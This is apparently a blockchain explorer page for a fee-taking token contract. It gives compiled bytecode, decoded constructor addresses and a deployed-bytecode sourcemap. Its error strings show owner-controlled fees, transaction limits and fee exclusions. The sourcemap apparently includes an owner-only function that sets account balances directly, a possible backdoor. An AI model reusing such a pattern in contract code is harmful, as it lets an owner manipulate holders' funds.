121561212f57600080fd5b813561188b81612060565b8015158114610bba57600080fd5b6000806040838503121561215b57600080fd5b823561216681612060565b915060208301356121768161213a565b809150509250929050565b60008060006060848603121561219657600080fd5b83356121a18161213a565b92506020840135915060408401356121b88161213a565b809150509250925092565b60008060008060008060c087890312156121dc57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806040838503121561221957600080fd5b823561222481612060565b9150602083013561217681612060565b634e487b7160e01b600052601160045260246000fd5b8181038181111561091157610911612234565b8082018082111561091157610911612234565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761091157610911612234565b6000602082840312156122ce57600080fd5b5051919050565b6000602082840312156122e757600080fd5b815161188b8161213a565b6020808252602c908201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60408201526b3bb2b9103a3430b71019129760a11b606082015260800190565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b60208082526023908201527f5472616e7366657220616d6f756e742065786365656473207468652077616c4160408201526236ba1760e91b606082015260800190565b6000826123e757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561241457600080fd5b815161188b81612060565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561246f5784516001600160a01b03168352938301939183019160010161244a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156124a557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220770ab8619d41585e0a8019fbaa5409cbf56a862cc3eb5b96a1227806d41f742864736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf51200000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf51200000000000000000000000070b39b690d85e7ac7212f3fd44ba68d8d26fc22a

-----Decoded View---------------
Arg [0] : marketingAddress (address): 0x05eb48C88338Bc7Eb336fC1ACF9F733c31DDF512
Arg [1] : utilityAddress (address): 0x05eb48C88338Bc7Eb336fC1ACF9F733c31DDF512
Arg [2] : dexAddress (address): 0x70b39b690d85E7Ac7212F3FD44ba68D8D26Fc22a

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 00000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf512
Arg [1] : 00000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf512
Arg [2] : 00000000000000000000000070b39b690d85e7ac7212f3fd44ba68d8d26fc22a


Deployed Bytecode Sourcemap

217:14704:6:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;775:46;;;;;;;;;;;;;;;;;;;160:25:7;;;148:2;133:18;775:46:6;;;;;;;;919:54;;;;;;;;;;;;;;;;3363:83;;;;;;;;;;-1:-1:-1;3433:5:6;;;;;;;;;;;;-1:-1:-1;;;3433:5:6;;;;3363:83;;;;;;;:::i;4195:161::-;;;;;;;;;;-1:-1:-1;4195:161:6;;;;;:::i;:::-;;:::i;:::-;;;1370:14:7;;1363:22;1345:41;;1333:2;1318:18;4195:161:6;1205:187:7;5608:150:6;;;;;;;;;;-1:-1:-1;5608:150:6;;;;;:::i;:::-;;:::i;300:41::-;;;;;;;;;;-1:-1:-1;300:41:6;;;;-1:-1:-1;;;;;300:41:6;;;;;;-1:-1:-1;;;;;1840:32:7;;;1822:51;;1810:2;1795:18;300:41:6;1650:229:7;3640:95:6;;;;;;;;;;-1:-1:-1;3720:7:6;;3640:95;;1965:28;;;;;;;;;;-1:-1:-1;1965:28:6;;;;;;;;;;;;;2058:25:7;;;2114:2;2099:18;;2092:34;;;;2031:18;1965:28:6;1884:248:7;1856:28:6;;;;;;;;;;-1:-1:-1;1856:28:6;;;;;;;;;;;;;;;;2339:25:7;;;2395:2;2380:18;;2373:34;;;;2423:18;;;2416:34;2327:2;2312:18;1856:28:6;2137:319:7;4364:266:6;;;;;;;;;;-1:-1:-1;4364:266:6;;;;;:::i;:::-;;:::i;1114:32::-;;;;;;;;;;-1:-1:-1;1114:32:6;;;;-1:-1:-1;;;;;1114:32:6;;;5246:161;;;;;;;;;;;;;:::i;3549:83::-;;;;;;;;;;-1:-1:-1;3549:83:6;;709:1;3272:36:7;;3260:2;3245:18;3549:83:6;3130:184:7;4638:215:6;;;;;;;;;;-1:-1:-1;4638:215:6;;;;;:::i;:::-;;:::i;7115:184::-;;;;;;;;;;-1:-1:-1;7115:184:6;;;;;:::i;:::-;;:::i;:::-;;6618:183;;;;;;;;;;-1:-1:-1;6618:183:6;;;;;:::i;:::-;;:::i;7849:95::-;;;;;;;;;;-1:-1:-1;7849:95:6;;;;;:::i;:::-;;:::i;5807:88::-;;;;;;;;;;-1:-1:-1;5807:88:6;;;;;:::i;:::-;;:::i;350:28::-;;;;;;;;;;-1:-1:-1;350:28:6;;;;-1:-1:-1;;;;;350:28:6;;;8959:123;;;;;;;;;;-1:-1:-1;8959:123:6;;;;;:::i;:::-;-1:-1:-1;;;;;9047:27:6;9023:4;9047:27;;;:18;:27;;;;;;;;;8959:123;882:30;;;;;;;;;;-1:-1:-1;882:30:6;;;;;;;;3743:118;;;;;;;;;;-1:-1:-1;3743:118:6;;;;;:::i;:::-;;:::i;778:148:4:-;;;;;;;;;;;;;:::i;5903:82:6:-;;;;;;;;;;;;;:::i;1153:30::-;;;;;;;;;;-1:-1:-1;1153:30:6;;;;-1:-1:-1;;;;;1153:30:6;;;1891;;;;;;;;;;-1:-1:-1;1891:30:6;;;;;;;;;;;;7640:94;;;;;;;;;;-1:-1:-1;7640:94:6;;;;;:::i;:::-;;:::i;14730:188::-;;;;;;;;;;-1:-1:-1;14730:188:6;;;;;:::i;:::-;;:::i;440:79:4:-;;;;;;;;;;-1:-1:-1;478:7:4;505:6;-1:-1:-1;;;;;505:6:4;440:79;;3454:87:6;;;;;;;;;;-1:-1:-1;3526:7:6;;;;;;;;;;;;-1:-1:-1;;;3526:7:6;;;;3454:87;;4861:225;;;;;;;;;;-1:-1:-1;4861:225:6;;;;;:::i;:::-;;:::i;3869:167::-;;;;;;;;;;-1:-1:-1;3869:167:6;;;;;:::i;:::-;;:::i;980:36::-;;;;;;;;;;-1:-1:-1;980:36:6;;;;;;;;1190:28;;;;;;;;;;-1:-1:-1;1190:28:6;;;;-1:-1:-1;;;;;1190:28:6;;;1928:30;;;;;;;;;;-1:-1:-1;1928:30:6;;;;;;;;;;;;;;;;;;;;;;;;;;;;4071:25:7;;;4127:2;4112:18;;4105:34;;;;4155:18;;;4148:34;;;;4213:2;4198:18;;4191:34;;;;4256:3;4241:19;;4234:35;4300:3;4285:19;;4278:35;4344:3;4329:19;;4322:35;4058:3;4043:19;1928:30:6;3756:607:7;5098:140:6;;;;;;;;;;-1:-1:-1;5098:140:6;;;;;:::i;:::-;;:::i;7307:325::-;;;;;;;;;;-1:-1:-1;7307:325:6;;;;;:::i;:::-;;:::i;6809:298::-;;;;;;;;;;-1:-1:-1;6809:298:6;;;;;:::i;:::-;;:::i;5415:185::-;;;;;;;;;;-1:-1:-1;5415:185:6;;;;;:::i;:::-;;:::i;5993:617::-;;;;;;;;;;-1:-1:-1;5993:617:6;;;;;:::i;:::-;;:::i;828:45::-;;;;;;;;;;;;;;;;4044:143;;;;;;;;;;-1:-1:-1;4044:143:6;;;;;:::i;:::-;-1:-1:-1;;;;;4152:18:6;;;4125:7;4152:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4044:143;11611:105;;;;;;;;;;-1:-1:-1;11611:105:6;;;;;:::i;:::-;;:::i;1227:33::-;;;;;;;;;;-1:-1:-1;1227:33:6;;;;-1:-1:-1;;;1227:33:6;;;;;;934:244:4;;;;;;;;;;-1:-1:-1;934:244:4;;;;;:::i;:::-;;:::i;7742:99:6:-;;;;;;;;;;-1:-1:-1;7742:99:6;;;;;:::i;:::-;;:::i;4195:161::-;4270:4;4287:39;192:10:0;4310:7:6;4319:6;4287:8;:39::i;:::-;-1:-1:-1;4344:4:6;4195:161;;;;;:::o;5608:150::-;5688:4;5744:6;5712:29;5732:8;5712:19;:29::i;:::-;:38;;5608:150;-1:-1:-1;;;5608:150:6:o;4364:266::-;4462:4;4479:36;4489:6;4497:9;4508:6;4479:9;:36::i;:::-;-1:-1:-1;;;;;4557:19:6;;;;;;:11;:19;;;;;;;;192:10:0;4557:33:6;;;;;;;;;4526:74;;4535:6;;4557:42;;4593:6;;4557:42;:::i;:::-;4526:8;:74::i;:::-;-1:-1:-1;4618:4:6;4364:266;;;;;:::o;5246:161::-;5299:7;5326:73;5371:27;5389:7;5371:9;:27::i;:::-;5326:40;5338:27;5356:7;5338:9;:27::i;:::-;5326:7;;;:11;:40::i;:::-;:44;;:73::i;:::-;5319:80;;5246:161;:::o;4638:215::-;192:10:0;4726:4:6;4775:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4775:34:6;;;;;;;;;;4726:4;;4743:80;;4766:7;;4775:47;;4812:10;;4775:47;:::i;7115:184::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;;;;;;;;;7199:11:6::1;7189:6;:21;;7181:73;;;::::0;-1:-1:-1;;;7181:73:6;;7206:2:7;7181:73:6::1;::::0;::::1;7188:21:7::0;7245:2;7225:18;;;7218:30;7284:34;7264:18;;;7257:62;-1:-1:-1;;;7335:18:7;;;7328:37;7382:19;;7181:73:6::1;7004:403:7::0;7181:73:6::1;7277:14;:6:::0;7286:5:::1;7277:14;:::i;:::-;7265:9;:26:::0;-1:-1:-1;7115:184:6:o;6618:183::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;6696:11:6::1;6687:5;:20;;6679:79;;;::::0;-1:-1:-1;;;6679:79:6;;7787:2:7;6679:79:6::1;::::0;::::1;7769:21:7::0;7826:2;7806:18;;;7799:30;7865:34;7845:18;;;7838:62;-1:-1:-1;;;7916:18:7;;;7909:44;7970:19;;6679:79:6::1;7585:410:7::0;6679:79:6::1;6780:13;:5:::0;6788::::1;6780:13;:::i;:::-;6769:8;:24:::0;-1:-1:-1;6618:183:6:o;7849:95::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;7916:13:6::1;:20:::0;;-1:-1:-1;;;;;;7916:20:6::1;-1:-1:-1::0;;;;;7916:20:6;;;::::1;::::0;;;::::1;::::0;;7849:95::o;5807:88::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;5874:13:6::1;5883:3;5874:8;:13::i;:::-;5807:88:::0;:::o;3743:118::-;-1:-1:-1;;;;;3836:17:6;3809:7;3836:17;;;:8;:17;;;;;;;3743:118::o;778:148:4:-;567:6;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;885:1:::1;869:6:::0;;848:40:::1;::::0;-1:-1:-1;;;;;869:6:4;;::::1;::::0;848:40:::1;::::0;885:1;;848:40:::1;916:1;899:19:::0;;-1:-1:-1;;;;;;899:19:4::1;::::0;;778:148::o;5903:82:6:-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;5955:14:6::1;:22:::0;;-1:-1:-1;;;;5955:22:6::1;::::0;;5903:82::o;7640:94::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;7702:17:6::1;:24:::0;;-1:-1:-1;;;;;;7702:24:6::1;-1:-1:-1::0;;;;;7702:24:6;;;::::1;::::0;;;::::1;::::0;;7640:94::o;14730:188::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;14863:46:6::1;::::0;-1:-1:-1;;;14863:46:6;;14903:4:::1;14863:46;::::0;::::1;1822:51:7::0;-1:-1:-1;;;;;14811:30:6;::::1;::::0;::::1;::::0;14850:10:::1;::::0;14811:30;;14863:31:::1;::::0;1795:18:7;;14863:46:6::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14811:99;::::0;-1:-1:-1;;;;;;14811:99:6::1;::::0;;;;;;-1:-1:-1;;;;;8381:32:7;;;14811:99:6::1;::::0;::::1;8363:51:7::0;8430:18;;;8423:34;8336:18;;14811:99:6::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14730:188:::0;:::o;4861:225::-;192:10:0;4954:4:6;5003:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5003:34:6;;;;;;;;;;4954:4;;4971:85;;4994:7;;5003:52;;5040:15;;5003:52;:::i;3869:167::-;3947:4;3964:42;192:10:0;3988:9:6;3999:6;3964:9;:42::i;5098:140::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;-1:-1:-1;;;;;5183:36:6;;;::::1;;::::0;;;:18:::1;:36;::::0;;;;:47;;-1:-1:-1;;5183:47:6::1;::::0;::::1;;::::0;;;::::1;::::0;;5098:140::o;7307:325::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;7437:10:6::1;7421:12;:26;;7413:86;;;::::0;-1:-1:-1;;;7413:86:6;;8920:2:7;7413:86:6::1;::::0;::::1;8902:21:7::0;8959:2;8939:18;;;8932:30;8998:34;8978:18;;;8971:62;-1:-1:-1;;;9049:18:7;;;9042:45;9104:19;;7413:86:6::1;8718:411:7::0;7413:86:6::1;7510:11;:21:::0;;-1:-1:-1;;7510:21:6::1;::::0;::::1;;;::::0;;7562:20:::1;:12:::0;7577:5:::1;7562:20;:::i;:::-;7542:17;:40:::0;7593:17:::1;:31:::0;;-1:-1:-1;;7593:31:6::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;;7307:325:6:o;6809:298::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;6886:11:6::1;6879:3;:18;;6871:75;;;;-1:-1:-1::0;;;6871:75:6::1;;;;;;;:::i;:::-;6972:11;6965:3;:18;;6957:75;;;;-1:-1:-1::0;;;6957:75:6::1;;;;;;;:::i;:::-;7054:11;:3:::0;7060:5:::1;7054:11;:::i;:::-;7043:8;:22:::0;7088:11:::1;:3:::0;7094:5:::1;7088:11;:::i;5415:185::-:0;5483:7;5510:82;5569:22;:20;:22::i;:::-;5541:13;;5510:54;;5523:40;;5561:1;;5523:33;;-1:-1:-1;;;;;5541:13:6;5523:9;:33::i;:::-;:37;;:40::i;:::-;5510:8;;:12;:54::i;:::-;:58;;:82::i;5993:617::-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;6183:2:6::1;6171:8:::0;6152:16:::1;6158:10:::0;6152:3;:16:::1;:::i;:::-;:27;;;;:::i;:::-;:33;;6144:90;;;::::0;-1:-1:-1;;;6144:90:6;;9749:2:7;6144:90:6::1;::::0;::::1;9731:21:7::0;9788:2;9768:18;;;9761:30;9827:34;9807:18;;;9800:62;-1:-1:-1;;;9878:18:7;;;9871:42;9930:19;;6144:90:6::1;9547:408:7::0;6144:90:6::1;6283:2;6272:8:::0;6253:16:::1;6259:10:::0;6253:3;:16:::1;:::i;:::-;:27;;;;:::i;:::-;:32;;6245:90;;;::::0;-1:-1:-1;;;6245:90:6;;10162:2:7;6245:90:6::1;::::0;::::1;10144:21:7::0;10201:2;10181:18;;;10174:30;10240:34;10220:18;;;10213:62;-1:-1:-1;;;10291:18:7;;;10284:43;10344:19;;6245:90:6::1;9960:409:7::0;6245:90:6::1;6348:13;:29:::0;;;;6388:23;:36;;;;6435:21;:32;;;;6480:14:::1;:30:::0;6521:24;:37;6569:22;:33;5993:617::o;11611:105::-;691:6:4;;-1:-1:-1;;;;;691:6:4;192:10:0;691:22:4;683:67;;;;-1:-1:-1;;;683:67:4;;;;;;;:::i;:::-;-1:-1:-1;;;;;11685:14:6;;::::1;;::::0;;;:8:::1;:14;::::0;;;;:23;11611:105::o;934:244:4:-;567:6;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;-1:-1:-1;;;;;1023:22:4;::::1;1015:73;;;::::0;-1:-1:-1;;;1015:73:4;;10576:2:7;1015:73:4::1;::::0;::::1;10558:21:7::0;10615:2;10595:18;;;10588:30;10654:34;10634:18;;;10627:62;-1:-1:-1;;;10705:18:7;;;10698:36;10751:19;;1015:73:4::1;10374:402:7::0;1015:73:4::1;1125:6;::::0;;1104:38:::1;::::0;-1:-1:-1;;;;;1104:38:4;;::::1;::::0;1125:6;::::1;::::0;1104:38:::1;::::0;::::1;1153:6;:17:::0;;-1:-1:-1;;;;;;1153:17:4::1;-1:-1:-1::0;;;;;1153:17:4;;;::::1;::::0;;;::::1;::::0;;934:244::o;7742:99:6:-;567:6:4;;-1:-1:-1;;;;;567:6:4;192:10:0;567:22:4;559:67;;;;-1:-1:-1;;;559:67:4;;;;;;;:::i;:::-;7811:15:6::1;:22:::0;;-1:-1:-1;;;;;;7811:22:6::1;-1:-1:-1::0;;;;;7811:22:6;;;::::1;::::0;;;::::1;::::0;;7742:99::o;9090:337::-;-1:-1:-1;;;;;9183:19:6;;9175:68;;;;-1:-1:-1;;;9175:68:6;;10983:2:7;9175:68:6;;;10965:21:7;11022:2;11002:18;;;10995:30;11061:34;11041:18;;;11034:62;-1:-1:-1;;;11112:18:7;;;11105:34;11156:19;;9175:68:6;10781:400:7;9175:68:6;-1:-1:-1;;;;;9262:21:6;;9254:68;;;;-1:-1:-1;;;9254:68:6;;11388:2:7;9254:68:6;;;11370:21:7;11427:2;11407:18;;;11400:30;11466:34;11446:18;;;11439:62;-1:-1:-1;;;11517:18:7;;;11510:32;11559:19;;9254:68:6;11186:398:7;9254:68:6;-1:-1:-1;;;;;9335:18:6;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9387:32;;160:25:7;;;9387:32:6;;133:18:7;9387:32:6;;;;;;;9090:337;;;:::o;9435:2168::-;-1:-1:-1;;;;;9557:18:6;;9549:68;;;;-1:-1:-1;;;9549:68:6;;11791:2:7;9549:68:6;;;11773:21:7;11830:2;11810:18;;;11803:30;11869:34;11849:18;;;11842:62;-1:-1:-1;;;11920:18:7;;;11913:35;11965:19;;9549:68:6;11589:401:7;9549:68:6;-1:-1:-1;;;;;9636:16:6;;9628:64;;;;-1:-1:-1;;;9628:64:6;;12197:2:7;9628:64:6;;;12179:21:7;12236:2;12216:18;;;12209:30;12275:34;12255:18;;;12248:62;-1:-1:-1;;;12326:18:7;;;12319:33;12369:19;;9628:64:6;11995:399:7;9628:64:6;9720:1;9711:6;:10;9703:64;;;;-1:-1:-1;;;9703:64:6;;12601:2:7;9703:64:6;;;12583:21:7;12640:2;12620:18;;;12613:30;12679:34;12659:18;;;12652:62;-1:-1:-1;;;12730:18:7;;;12723:39;12779:19;;9703:64:6;12399:405:7;9703:64:6;-1:-1:-1;;;;;9788:14:6;;;;;;:8;:14;;;;;:24;;9806:6;;9788:14;:24;;9806:6;;9788:24;:::i;:::-;;;;-1:-1:-1;;;;;;;9904:24:6;;9823:22;9904:24;;;:18;:24;;;;;;9848:6;;9823:22;9904:24;;9903:25;:52;;;;-1:-1:-1;;;;;;9933:22:6;;;;;;:18;:22;;;;;;;;9932:23;9903:52;9900:97;;;-1:-1:-1;9981:4:6;9900:97;10012:7;10009:1486;;;10044:13;;-1:-1:-1;;;;;10038:19:6;;;10044:13;;10038:19;;;;:44;;-1:-1:-1;10069:13:6;;-1:-1:-1;;;;;10061:21:6;;;10069:13;;10061:21;10038:44;10035:381;;;10105:14;;-1:-1:-1;;;10105:14:6;;;;10102:240;;;10162:8;;10152:6;:18;;10144:72;;;;-1:-1:-1;;;10144:72:6;;;;;;;:::i;:::-;10273:9;;10263:6;10247:13;10257:2;10247:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;10239:83;;;;-1:-1:-1;;;10239:83:6;;;;;;;:::i;:::-;10377:23;10389:6;10397:2;10377:11;:23::i;:::-;10360:40;;10035:381;10443:13;;-1:-1:-1;;;;;10435:21:6;;;10443:13;;10435:21;;;;:44;;-1:-1:-1;10466:13:6;;-1:-1:-1;;;;;10460:19:6;;;10466:13;;10460:19;10435:44;10432:714;;;10502:14;;-1:-1:-1;;;10502:14:6;;;;10499:134;;;10559:8;;10549:6;:18;;10541:72;;;;-1:-1:-1;;;10541:72:6;;;;;;;:::i;:::-;10668:26;10681:6;10689:4;10668:12;:26::i;:::-;10718:11;;10651:43;;-1:-1:-1;10718:11:6;;:60;;;;;10761:17;;10733:24;10751:4;10733:9;:24::i;:::-;:45;;10718:60;:73;;;;-1:-1:-1;10783:8:6;;;;10782:9;10718:73;10714:417;;;10816:8;:15;;-1:-1:-1;;10816:15:6;10827:4;10816:15;;;10858:17;;10816:15;10858:17;10857:18;;:57;;;10897:17;;10879:14;:35;;10857:57;10854:221;;;10943:27;10952:17;;10943:8;:27::i;:::-;10854:221;;;11027:24;11036:14;11027:8;:24::i;:::-;11097:8;:16;;-1:-1:-1;;11097:16:6;;;10714:417;11171:13;;-1:-1:-1;;;;;11165:19:6;;;11171:13;;11165:19;;;;:44;;-1:-1:-1;11196:13:6;;-1:-1:-1;;;;;11188:21:6;;;11196:13;;11188:21;;11165:44;11162:322;;;11232:14;;-1:-1:-1;;;11232:14:6;;;;11229:240;;;11289:8;;11279:6;:18;;11271:72;;;;-1:-1:-1;;;11271:72:6;;;;;;;:::i;:::-;11400:9;;11390:6;11374:13;11384:2;11374:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;11366:83;;;;-1:-1:-1;;;11366:83:6;;;;;;;:::i;:::-;-1:-1:-1;;;;;11515:12:6;;;;;;:8;:12;;;;;:30;;11531:14;;11515:12;:30;;11531:14;;11515:30;:::i;:::-;;;;;;;;11576:2;-1:-1:-1;;;;;11561:34:6;11570:4;-1:-1:-1;;;;;11561:34:6;;11580:14;11561:34;;;;160:25:7;;148:2;133:18;;14:177;11561:34:6;;;;;;;;9538:2065;;9435:2168;;;:::o;276:136:5:-;334:7;361:43;365:1;368;361:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;354:50;276:136;-1:-1:-1;;;276:136:5:o;11722:2135:6:-;11775:18;11796:6;11775:27;;11813;11843:60;11859:15;;11876:26;;11843:15;:60::i;:::-;:119;;11937:14;:24;11911:13;:23;:50;;11937:24;11911:50;:::i;:::-;11843:119;;;11906:1;11843:119;12136:22;;12112:21;;12085:24;;12059:23;;11813:149;;-1:-1:-1;11973:23:6;;12037:45;;11813:149;12037:45;:::i;:::-;:72;;;;:::i;:::-;:96;;;;:::i;:::-;:121;;;;:::i;:::-;11999:34;12013:19;11999:10;:34;:::i;:::-;:160;;;;:::i;:::-;12364:22;;12340:21;;12313:24;;12287:23;;11973:186;;-1:-1:-1;12170:23:6;;12265:45;;:19;:45;:::i;:::-;:72;;;;:::i;:::-;:96;;;;:::i;:::-;:121;;;;:::i;:::-;12236:24;;12210:23;;:50;;12236:24;12210:50;:::i;:::-;12196:65;;:10;:65;:::i;:::-;:191;;;;:::i;:::-;12584:22;;12560:21;;12533:24;;12507:23;;12170:217;;-1:-1:-1;12398:18:6;;12485:45;;:19;:45;:::i;:::-;:72;;;;:::i;:::-;:96;;;;:::i;:::-;:121;;;;:::i;:::-;12457:22;;12433:21;;:46;;12457:22;12433:46;:::i;:::-;12419:61;;:10;:61;:::i;:::-;:188;;;;:::i;:::-;12398:209;;12651:15;12618:12;:29;;;:48;;;;;;;:::i;:::-;;;;-1:-1:-1;;12677:29:6;:48;;12710:15;;12677:29;;;:48;;12710:15;;12677:48;:::i;:::-;;;;-1:-1:-1;;12736:27:6;:41;;12767:10;;12736:27;;;:41;;12767:10;;12736:41;:::i;:::-;;;;-1:-1:-1;12790:25:6;;-1:-1:-1;12854:10:6;12818:33;12836:15;12818;:33;:::i;:::-;:46;;;;:::i;:::-;12790:74;-1:-1:-1;12885:26:6;12914:22;:15;12934:1;12914:19;:22::i;:::-;12885:51;;12978:18;12947:12;:27;;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;13007:26:6;;-1:-1:-1;13036:34:6;:10;13051:18;13036:14;:34::i;:::-;13007:63;-1:-1:-1;13119:21:6;13153:36;13007:63;13153:16;:36::i;:::-;13201:18;13222:44;:21;13248:17;13222:25;:44::i;:::-;13201:65;-1:-1:-1;13287:23:6;13313:54;13349:17;13313:31;13201:65;13328:15;13313:14;:31::i;:54::-;13287:80;-1:-1:-1;13378:21:6;13402:49;13433:17;13402:26;:10;13417;13402:14;:26::i;:49::-;13378:73;;13491:15;13462:12;:25;;;:44;;;;;;;:::i;:::-;;;;-1:-1:-1;;13517:23:6;:40;;13544:13;;13517:23;;;:40;;13544:13;;13517:40;:::i;:::-;;;;-1:-1:-1;13570:49:6;;-1:-1:-1;13583:18:6;13603:15;13570:12;:49::i;:::-;13659:21;13630:12;:25;;;:50;;;;;;;:::i;:::-;;;;-1:-1:-1;;13717:13:6;;13709:53;;13692:12;;-1:-1:-1;;;;;13717:13:6;;13744;;13692:12;13709:53;13692:12;13709:53;13744:13;13717;13709:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;13794:15:6;;13786:63;;13691:71;;-1:-1:-1;;;;;;13794:15:6;;13823:21;;13786:63;;;;13823:21;13794:15;13786:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;;;;;;;11722:2135:6:o;620:250:5:-;678:7;702:1;707;702:6;698:47;;-1:-1:-1;732:1:5;725:8;;698:47;757:9;769:5;773:1;769;:5;:::i;:::-;757:17;-1:-1:-1;802:1:5;793:5;797:1;757:17;793:5;:::i;:::-;:10;785:56;;;;-1:-1:-1;;;785:56:5;;14257:2:7;785:56:5;;;14239:21:7;14296:2;14276:18;;;14269:30;14335:34;14315:18;;;14308:62;-1:-1:-1;;;14386:18:7;;;14379:31;14427:19;;785:56:5;14055:397:7;878:132:5;936:7;963:39;967:1;970;963:39;;;;;;;;;;;;;;;;;:3;:39::i;7952:495:6:-;8020:7;8040:15;8093:3;8067:13;:23;;;8058:6;:32;;;;:::i;:::-;:38;;;;:::i;:::-;8040:56;;8108:16;8162:3;8136:13;:23;;;8127:6;:32;;;;:::i;:::-;:38;;;;:::i;:::-;8108:57;;8176:18;8229:3;8206:13;:21;;;8197:6;:30;;;;:::i;:::-;:35;;;;:::i;:::-;8176:56;-1:-1:-1;8176:56:6;8272:18;8282:8;8272:7;:18;:::i;:::-;:31;;;;:::i;:::-;8262:4;8245:23;;;;:8;:23;;;;;:58;;:23;;;:58;;;;;:::i;:::-;;;;-1:-1:-1;8343:4:6;;-1:-1:-1;;;;;;8319:63:6;;;8371:10;8350:18;8361:7;8350:8;:18;:::i;:::-;:31;;;;:::i;:::-;8319:63;;160:25:7;;;148:2;133:18;8319:63:6;;;;;;;8428:10;8418:8;8401:15;8409:7;8401:6;:15;:::i;:::-;:25;;;;:::i;:::-;:37;;;;:::i;:::-;8393:46;7952:495;-1:-1:-1;;;;;;7952:495:6:o;420:192:5:-;506:7;542:12;534:6;;;;526:29;;;;-1:-1:-1;;;526:29:5;;;;;;;;:::i;:::-;-1:-1:-1;566:9:5;578:5;582:1;578;:5;:::i;:::-;566:17;420:192;-1:-1:-1;;;;;420:192:5:o;13865:475:6:-;13955:16;;;13969:1;13955:16;;;;;;;;13931:21;;13955:16;;;;;;;;;;-1:-1:-1;13955:16:6;13931:40;;14000:4;13982;13987:1;13982:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13982:23:6;;;:7;;;;;;;;;;:23;;;;14026:15;;:22;;;-1:-1:-1;;;14026:22:6;;;;:15;;;;;:20;;:22;;;;;13982:7;;14026:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14016:4;14021:1;14016:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14016:32:6;;;:7;;;;;;;;;:32;14093:15;;14061:62;;14078:4;;14093:15;14111:11;14061:8;:62::i;:::-;14136:15;;:196;;-1:-1:-1;;;14136:196:6;;-1:-1:-1;;;;;14136:15:6;;;;:66;;:196;;14217:11;;14136:15;;14259:4;;14286;;14306:15;;14136:196;;;